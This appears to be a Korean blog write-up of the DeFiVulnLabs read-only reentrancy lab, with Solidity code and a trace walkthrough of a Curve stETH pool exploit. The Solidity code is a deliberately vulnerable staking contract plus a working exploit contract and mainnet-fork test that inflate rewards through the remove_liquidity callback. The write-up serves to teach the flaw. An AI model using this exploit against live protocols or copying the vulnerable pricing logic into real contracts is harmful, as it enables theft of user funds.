[BlockChain] DeFiVulnLabs - ReadOnlyReentrancy
- -
ReadOnlyReentrancy
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "forge-std/Test.sol";
import "./interface.sol";
// Video Reference - https://www.youtube.com/watch?v=0fgGTRlsDxI
// forge test --contracts ./src/test/ReadOnlyReentrancy.sol -vv
interface ICurve {
function get_virtual_price() external view returns (uint);
function add_liquidity(uint[2] calldata amounts, uint min_mint_amount)
external
payable
returns (uint);
function remove_liquidity(uint lp, uint[2] calldata min_amounts)
external
returns (uint[2] memory);
function remove_liquidity_one_coin(
uint lp,
int128 i,
uint min_amount
) external returns (uint);
}
address constant STETH_POOL = 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022;
address constant LP_TOKEN = 0x06325440D014e39736583c165C2963BA99fAf14E; //steCRV Token
// VulnContract
// users stake LP_TOKEN
// getReward rewards the users based on the current price of the pool LP token
contract VulnContract {
IERC20 public constant token = IERC20(LP_TOKEN);
ICurve private constant pool = ICurve(STETH_POOL);
mapping(address => uint) public balanceOf;
function stake(uint amount) external {
token.transferFrom(msg.sender, address(this), amount);
balanceOf[msg.sender] += amount;
}
function unstake(uint amount) external {
balanceOf[msg.sender] -= amount;
token.transfer(msg.sender, amount);
}
function getReward() external returns (uint) {
//rewarding tokens based on the current virtual price of the pool LP token
uint reward = (balanceOf[msg.sender] * pool.get_virtual_price()) / 1 ether;
// Omitting code to transfer reward tokens
return reward;
}
}
contract ExploitContract {
ICurve private constant pool = ICurve(STETH_POOL);
IERC20 public constant lpToken = IERC20(LP_TOKEN);
VulnContract private immutable target;
constructor(address _target) {
target = VulnContract(_target);
}
receive() external payable { // receive() is called when the remove_liquidity is called
console.log("--------------------------------------------------------------------");
console.log("LP token price during remove_liquidity()", pool.get_virtual_price());
// Attack - Log reward amount
uint reward = target.getReward();
console.log("Reward if Read-Only Reentrancy is invoked: ", reward);
}
// Stake LP into VulnContract
function stakeTokens() external payable {
uint[2] memory amounts = [msg.value, 0];
uint lp = pool.add_liquidity{value: msg.value}(amounts, 1);
console.log("LP token price after staking into VulnContract", pool.get_virtual_price());
lpToken.approve(address(target), lp);
target.stake(lp);
}
// Perform Read-Only Reentrancy
// 원래 performReadOnlyReentrnacy 라고 되어있는데 불편해서 오타 수정함
function performReadOnlyReentrancy() external payable {
// Add liquidity to Curve
uint[2] memory amounts = [msg.value, 0];
uint lp = pool.add_liquidity{value: msg.value}(amounts, 1);
// Log get_virtual_price
console.log("LP token price before remove_liquidity()", pool.get_virtual_price());
// Remove liquidity from Curve
// remove_liquidity() invokes the recieve() callback
uint[2] memory min_amounts = [uint(0), uint(0)];
pool.remove_liquidity(lp, min_amounts);
// Log get_virtual_price
console.log("--------------------------------------------------------------------");
console.log("LP token price after remove_liquidity()", pool.get_virtual_price());
// Attack - Log reward amount
uint reward = target.getReward();
console.log("Reward if Read-Only Reentrancy is not invoked: ", reward);
}
}
contract ExploitTest is Test {
ExploitContract public hack;
VulnContract public target;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("mainnet");
target = new VulnContract(); // deploy the vulnerable contract
hack = new ExploitContract(address(target)); // deploy attacker contract
}
function testPwn() public {
hack.stakeTokens{value: 10 ether}(); // stake 10 eth in VulnContract
hack.performReadOnlyReentrancy{value: 100000 ether}();
}
}
코드 test 결과이다.
LP token의 가격이 Reentrancy를 진입했을 때와 안 했을 때의 차이를 나타내고 있다.
Trace를 분석해야 하는데 너무 많아서 핵심만 가져 왔다.
pool address: 0xDC24316b9AE028F1497c275EB9192a3Ea0f67022
performReadOnlyReentrancy() 함수를 실행시키면 add_liqudity()로 유동성을 추가한다.
pool의 현재 잔액은 520,882,342,163,258,726,300,438 ether이다.
add_liqudity() 결과 lp = 93940900950573308959711(0x13e48be3ce526593dbdf)이다.
get_virtual_price() 함수는 현재 pool에 대한 LP token가격이다.
get_virtual_price의 계산은 D * 1e18 * token_supply로 이루어져 있는 데 totalSupply()와 관련이 있는 것 같다.
LP 토큰의 totalSupply는 현재 1,021,068,987,362,603,817,841,384(0xd83842be66efebc132e8) 개다.
그래서 LP token의 가격은 1,064,408,552,508,872,012(0xec589f0642dd54c) 이다.
remove_liquidity() 함수에서 유동성을 제거하는 데 if문에서 reentrancy가 발생한다.
i == 0이면 msg.sender로 다시 call을 한다.
이 부분에서 totalSupply가 감소하는 데 그러면 get_virtua_price()가 올라간다.
그러면 reward가 현재 시세보다 많이 받게 된다.
reentrancy를 통해 얻은 reward는 10,495,484,923,582,515,550이다.
totalSupply의 감소로 reentrancy보다 적은 값을 받았다. 10,009,265,312,277,005,641이다.
이러한 flow로 취약점이 발생한다.
Vulnerability
exploit
receive() external payable { // receive() is called when the remove_liquidity is called
console.log("--------------------------------------------------------------------");
console.log("LP token price during remove_liquidity()", pool.get_virtual_price());
// Attack - Log reward amount
uint reward = target.getReward();
console.log("Reward if Read-Only Reentrancy is invoked: ", reward);
}
// Perform Read-Only Reentrancy
function performReadOnlyReentrnacy() external payable {
// Add liquidity to Curve
uint[2] memory amounts = [msg.value, 0];
uint lp = pool.add_liquidity{value: msg.value}(amounts, 1);
// Log get_virtual_price
console.log("LP token price before remove_liquidity()", pool.get_virtual_price());
// Remove liquidity from Curve
// remove_liquidity() invokes the recieve() callback
uint[2] memory min_amounts = [uint(0), uint(0)];
pool.remove_liquidity(lp, min_amounts);
// Log get_virtual_price
console.log("--------------------------------------------------------------------");
console.log("LP token price after remove_liquidity()", pool.get_virtual_price());
// Attack - Log reward amount
uint reward = target.getReward();
console.log("Reward if Read-Only Reentrancy is not invoked: ", reward);
}
}
취약점을 도식화하면 다음 그림과 같다.
'Web3 > BlockChain' 카테고리의 다른 글
[BlockChain] PoS / PoW / DPoS (0) | 2023.02.07 |
---|---|
[BlockChain] DeFi Protocol - Curve (0) | 2023.02.06 |
[BlockChain] DeFiVulnLabs - Reentrancy (0) | 2023.02.06 |
[BlockChain] DeFiVulnLabs - Delegatecall (0) | 2023.02.06 |
[BlockChain] DeFiVulnLabs - Selfdestruct (0) | 2023.02.05 |
소중한 공감 감사합니다